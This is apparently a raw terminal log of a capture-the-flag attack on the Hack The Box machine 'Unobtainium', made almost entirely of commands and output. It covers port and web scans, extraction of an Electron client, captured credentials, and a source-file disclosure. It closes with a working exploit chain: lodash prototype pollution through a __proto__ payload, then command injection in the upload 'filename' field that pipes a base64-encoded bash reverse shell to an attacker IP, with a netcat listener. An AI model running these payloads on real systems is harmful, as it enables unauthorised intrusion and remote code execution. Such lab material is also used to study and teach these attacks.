$ nmap -p- -T4 -A 10.10.10.235
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 e4:bf:68:42:e5:74:4b:06:58:78:bd:ed:1e:6a:df:66 (RSA)
| 256 bd:88:a1:d9:19:a0:12:35:ca:d3:fa:63:76:48:dc:65 (ECDSA)
|_ 256 cf:c4:19:25:19:fa:6e:2e:b7:a4:aa:7d:c3:f1:3d:9b (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|http-server-header: Apache/2.4.41 (Ubuntu) |_http-title: Unobtainium 2379/tcp open ssl/etcd-client? | ssl-cert: Subject: commonName=unobtainium | Subject Alternative Name: DNS:localhost, DNS:unobtainium, IP Address:10.10.10.3, IP Address:127.0.0.1, IP Address:0:0:0:0:0:0:0:1 | Not valid before: 2021-01-17T07:10:30 |_Not valid after: 2022-01-17T07:10:30 |_ssl-date: TLS randomness does not represent time | tls-alpn: | h2
| tls-nextprotoneg:
|_ h2
2380/tcp open ssl/etcd-server?
| ssl-cert: Subject: commonName=unobtainium
| Subject Alternative Name: DNS:localhost, DNS:unobtainium, IP Address:10.10.10.3, IP Address:127.0.0.1, IP Address:0:0:0:0:0:0:0:1
| Not valid before: 2021-01-17T07:10:30
|Not valid after: 2022-01-17T07:10:30 |_ssl-date: TLS randomness does not represent time | tls-alpn: | h2
| tls-nextprotoneg:
|_ h2
8443/tcp open ssl/https-alt
| fingerprint-strings:
| FourOhFourRequest:
| HTTP/1.0 403 Forbidden
| Cache-Control: no-cache, private
| Content-Type: application/json
| X-Content-Type-Options: nosniff
| X-Kubernetes-Pf-Flowschema-Uid: 3082aa7f-e4b1-444a-a726-829587cd9e39
| X-Kubernetes-Pf-Prioritylevel-Uid: c4131e14-5fda-4a46-8349-09ccbed9efdd
| Date: Wed, 12 May 2021 12:14:54 GMT
| Content-Length: 212
| {"kind":"Status","apiVersion":"v1","metadata":{},"status":"Failure","message":"forbidden: User "system:anonymous" cannot get path "/nice ports,/Trinity.txt.bak"","reason":"Forbidden","details":{},"code":403}
| GenericLines:
| HTTP/1.1 400 Bad Request
| Content-Type: text/plain; charset=utf-8
| Connection: close
| Request
| GetRequest:
| HTTP/1.0 403 Forbidden
| Cache-Control: no-cache, private
| Content-Type: application/json
| X-Content-Type-Options: nosniff
| X-Kubernetes-Pf-Flowschema-Uid: 3082aa7f-e4b1-444a-a726-829587cd9e39
| X-Kubernetes-Pf-Prioritylevel-Uid: c4131e14-5fda-4a46-8349-09ccbed9efdd
| Date: Wed, 12 May 2021 12:14:53 GMT
| Content-Length: 185
| {"kind":"Status","apiVersion":"v1","metadata":{},"status":"Failure","message":"forbidden: User "system:anonymous" cannot get path "/"","reason":"Forbidden","details":{},"code":403}
| HTTPOptions:
| HTTP/1.0 403 Forbidden
| Cache-Control: no-cache, private
| Content-Type: application/json
| X-Content-Type-Options: nosniff
| X-Kubernetes-Pf-Flowschema-Uid: 3082aa7f-e4b1-444a-a726-829587cd9e39
| X-Kubernetes-Pf-Prioritylevel-Uid: c4131e14-5fda-4a46-8349-09ccbed9efdd
| Date: Wed, 12 May 2021 12:14:54 GMT
| Content-Length: 189
|_ {"kind":"Status","apiVersion":"v1","metadata":{},"status":"Failure","message":"forbidden: User "system:anonymous" cannot options path "/"","reason":"Forbidden","details":{},"code":403}
|http-title: Site doesn't have a title (application/json).
| ssl-cert: Subject: commonName=minikube/organizationName=system:masters
| Subject Alternative Name: DNS:minikubeCA, DNS:control-plane.minikube.internal, DNS:kubernetes.default.svc.cluster.local, DNS:kubernetes.default.svc, DNS:kubernetes.default, DNS:kubernetes, DNS:localhost, IP Address:10.10.10.235, IP Address:10.96.0.1, IP Address:127.0.0.1, IP Address:10.0.0.1
| Not valid before: 2021-05-11T05:00:16
|_Not valid after: 2022-05-12T05:00:16
|_ssl-date: TLS randomness does not represent time
| tls-alpn:
| h2
| http/1.1
10250/tcp open ssl/http Golang net/http server (Go-IPFS json-rpc or InfluxDB API)
|http-title: Site doesn't have a title (text/plain; charset=utf-8).
| ssl-cert: Subject: commonName=unobtainium@1610865428
| Subject Alternative Name: DNS:unobtainium | Not valid before: 2021-01-17T05:37:08
|_Not valid after: 2022-01-17T05:37:08 |_ssl-date: TLS randomness does not represent time
| tls-alpn:
| h2
| http/1.1
10256/tcp open http Golang net/http server (Go-IPFS json-rpc or InfluxDB API)
|http-title: Site doesn't have a title (text/plain; charset=utf-8). 31337/tcp open http Node.js Express framework
| http-methods:
| Potentially risky methods: PUT DELETE
|_http-title: Site doesn't have a title (application/json; charset=utf-8).
$ nikto -h http://10.10.10.235
+ Server: Apache/2.4.41 (Ubuntu)
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ IP address found in the 'location' header. The IP is "127.0.1.1".
+ OSVDB-630: The web server may reveal its internal or real IP in the Location header via a request to /images over HTTP/1.0. The value is "127.0.1.1".
+ Server may leak inodes via ETags, header found with file /, inode: 7c4, size: 5be45c5898828, mtime: gzip
+ Allowed HTTP Methods: OPTIONS, HEAD, GET, POST
+ OSVDB-3268: /downloads/: Directory indexing found.
+ OSVDB-3092: /downloads/: This might be interesting...
+ OSVDB-3268: /images/: Directory indexing found.
+ OSVDB-3092: /LICENSE.txt: License file found may identify site software.
+ 7863 requests: 0 error(s) and 11 item(s) reported on remote host
$ dirb http://10.10.10.235
---- Scanning URL: http://10.10.10.235/ ----
==> DIRECTORY: http://10.10.10.235/assets/
==> DIRECTORY: http://10.10.10.235/downloads/
==> DIRECTORY: http://10.10.10.235/images/
+ http://10.10.10.235/index.html (CODE:200|SIZE:1988)
+ http://10.10.10.235/server-status (CODE:403|SIZE:277)
---- Entering directory: http://10.10.10.235/assets/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
---- Entering directory: http://10.10.10.235/downloads/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
---- Entering directory: http://10.10.10.235/images/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
$ ar -xv unobtainium_1.0.0_amd64.deb
$ dpkg -x unobtainium_1.0.0_amd64.deb unobtainium
dpkg-deb -xv unobtainium_1.0.0_amd64.deb
$ ./unobtainium --no-sandbox
(node:71362) electron: The default of contextIsolation is deprecated and will be changing from false to true in a future release of Electron. See https://github.com/electron/electron/issues/23506 for more information
Unable to reach unobtainium.htb
$ echo "10.10.10.235 unobtainium.htb" | sudo tee -a /etc/hosts
kali@kali:~/0.htb/machines/Unobtainium235/unobtainium/opt/unobtainium$ ./unobtainium
[{"icon":"__","text":"Hello world","id":1,"timestamp":1620825481048,"userName":"felamos"}]
start wireshark to check what do they talk.
POST /todo HTTP/1.1
Host: unobtainium.htb:31337
Connection: keep-alive
Content-Length: 73
Accept: application/json, text/javascript, \*/\*; q=0.01
User-Agent: Mozilla/5.0 (X11; Linux x86\_64) AppleWebKit/537.36 (KHTML, like Gecko) unobtainium/1.0.0 Chrome/87.0.4280.141 Electron/11.2.0 Safari/537.36
Content-Type: application/json
Accept-Encoding: gzip, deflate
Accept-Language: en-US
{"auth":{"name":"felamos","password":"Winter2021"},"filename":"todo.txt"}HTTP/1.1 200 OK
X-Powered-By: Express
Content-Type: application/json; charset=utf-8
Content-Length: 293
ETag: W/"125-tNs2+nU0UiQGmLreBy4Pj891aVA"
Date: Sat, 17 Apr 2021 04:41:15 GMT
Connection: keep-alive
Keep-Alive: timeout=5
kali@kali:~/0.htb/machines/Unobtainium235/unobtainium/opt/unobtainium/resources$ npx asar extract app.asar ./
kali@kali:~/0.htb/machines/Unobtainium235/unobtainium/opt/unobtainium/resources$ npm install --engine-strict asar
npx asar extract app.asar destfolder
kali@kali:~/0.htb/machines/Unobtainium235/unobtainium/opt/unobtainium/resources$ cat package.json
{
"name": "unobtainium",
"version": "1.0.0",
"description": "client",
"main": "index.js",
"homepage": "http://unobtainium.htb",
"author": "felamos <felamos@unobtainium.htb>",
"license": "ISC"
}kali@kali:~/0.htb/machines/Unobtainium235/unobtainium/opt/unobtainium/resources$
todo.js -> todo.txt
kali@kali:~/0.htb/machines/Unobtainium235$ curl --header "Content-Type: application/json" --request POST http://unobtainium.htb:31337/todo --data '{"auth": {"name": "felamos", "password": "Winter2021"}, "filename" : "todo.txt"}'
{"ok":true,"content":"1. Create administrator zone.\n2. Update node JS API Server.\n3. Add Login functionality.\n4. Complete Get Messages feature.\n5. Complete ToDo feature.\n6. Implement Google Cloud Storage function: https://cloud.google.com/storage/docs/json_api/v1\n7. Improve security\n"}
kali@kali:~/0.htb/machines/Unobtainium235$
kali@kali:~/0.htb/machines/Unobtainium235$ curl --header "Content-Type: application/json" --request POST http://unobtainium.htb:31337/todo --data '{"auth": {"name": "felamos", "password": "Winter2021"}, "filename" : "todo.txt"}'
{"ok":true,"content":"1. Create administrator zone.\n2. Update node JS API Server.\n3. Add Login functionality.\n4. Complete Get Messages feature.\n5. Complete ToDo feature.\n6. Implement Google Cloud Storage function: https://cloud.google.com/storage/docs/json_api/v1\n7. Improve security\n"}kali@kali:~/0.htb/machines/Unobtainium235$ curl --header "Content-Type: application/json" --request POST http://unobtainium.htb:31337/todo --data '{"auth": {"name": "felamos", "password": "Winter2021"}, "filename" : "index.js"}' | jq
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 3735 100 3655 100 80 32927 720 --:--:-- --:--:-- --:--:-- 33648
{
"ok": true,
"content": "var root = require(\"google-cloudstorage-commands\");\nconst express = require('express');\nconst { exec } = require(\"child_process\"); \nconst bodyParser = require('body-parser'); \nconst _ = require('lodash'); \nconst app = express();\nvar fs = require('fs');\n \nconst users = [ \n {name: 'felamos', password: 'Winter2021'},\n {name: 'admin', password: Math.random().toString(32), canDelete: true, canUpload: true}, \n];\n\nlet messages = []; \nlet lastId = 1; \n \nfunction findUser(auth) { \n return users.find((u) => \n u.name === auth.name && \n u.password === auth.password); \n} \n \napp.use(bodyParser.json()); \n \napp.get('/', (req, res) => { \n res.send(messages); \n}); \n \napp.put('/', (req, res) => { \n const user = findUser(req.body.auth || {}); \n \n if (!user) { \n res.status(403).send({ok: false, error: 'Access denied'}); \n return;\n }\n\n const message = {\n icon: '__',\n };\n\n _.merge(message, req.body.message, {\n id: lastId++,\n timestamp: Date.now(),\n userName: user.name,\n });\n\n messages.push(message);\n res.send({ok: true});\n});\n\napp.delete('/', (req, res) => {\n const user = findUser(req.body.auth || {});\n\n if (!user || !user.canDelete) {\n res.status(403).send({ok: false, error: 'Access denied'});\n return;\n }\n\n messages = messages.filter((m) => m.id !== req.body.messageId);\n res.send({ok: true});\n});\napp.post('/upload', (req, res) => {\n const user = findUser(req.body.auth || {});\n if (!user || !user.canUpload) {\n res.status(403).send({ok: false, error: 'Access denied'});\n return;\n }\n\n\n filename = req.body.filename;\n root.upload(\"./\",filename, true);\n res.send({ok: true, Uploaded_File: filename});\n});\n\napp.post('/todo', (req, res) => {\n\tconst user = findUser(req.body.auth || {});\n\tif (!user) {\n\t\tres.status(403).send({ok: false, error: 'Access denied'});\n\t\treturn;\n\t}\n\n\tfilename = req.body.filename;\n testFolder = \"/usr/src/app\";\n fs.readdirSync(testFolder).forEach(file => {\n if (file.indexOf(filename) > -1) {\n var buffer = fs.readFileSync(filename).toString();\n res.send({ok: true, content: buffer});\n }\n });\n});\n\napp.listen(3000);\nconsole.log('Listening on port 3000...');\n"
}
kali@kali:~/0.htb/machines/Unobtainium235$
$ curl --header "Content-Type: application/json" --request POST http://unobtainium.htb:31337/todo --data '{"auth": {"name": "felamos", "password": "Winter2021"}, "filename" : "package.json"}' -x http://127.0.0.1:8087
{"ok":true,"content":"{\n \"name\": \"Unobtainium-Server\",\n \"version\": \"1.0.0\",\n \"description\": \"API Service for Electron client\",\n \"main\": \"index.js\",\n \"scripts\": {\n \"start\": \"node index.js\"\n },\n \"author\": \"felamos\",\n \"license\": \"ISC\",\n \"dependencies\": {\n \"body-parser\": \"1.18.3\",\n \"express\": \"4.16.4\",\n \"lodash\": \"4.17.4\",\n \"google-cloudstorage-commands\": \"0.0.1\"\n },\n \"devDependencies\": {}\n}\n"}%
exploit
lodash@4.17.4 vulnerabilities | lodash 4.17.4 | Snyk
https://snyk.io/test/npm/lodash/4.17.4
kali@kali:~/0.htb/machines/Unobtainium235$ echo "bash -i &>/dev/tcp/10.10.14.42/4444 <&1"| base64
YmFzaCAtaSAgJj4vZGV2L3RjcC8xMC4xMC4xNC40Mi80NDQ0IDwmMQo=
kali@kali:~/0.htb/machines/Unobtainium235$
kali@kali:~/0.htb/machines/Unobtainium235$ curl -X PUT -H 'Content-Type: application/json' http://10.10.10.235:31337 --data '{"auth":{"name":"felamos","password":"Winter2021"},"message":{"__proto__":{"canUpload":true}}}'
{"ok":true}kali@kali:~/0.htb/machines/Unobtainium235$
curl -X POST -H 'Content-Type: application/json' http://10.10.10.235:31337/upload --data-binary '{"auth":{"name":"felamos","password":"Winter2021"},"message":{"__proto__":{"canUpload":true}},"filename":"; echo YmFzaCAtaSAmPi9kZXYvdGNwLzEwLjEwLjE0LjcvNDQ0NCA8JjE= | base64 -d | bash"}'
{"ok":true,"Uploaded_File":"; echo YmFzaCAtaSAgJj4vZGV2L3RjcC8xMC4xMC4xNC40Mi80NDQ0IDwmMQo= | base64 -d | bash"}
rlwrap nc -lvnp 4444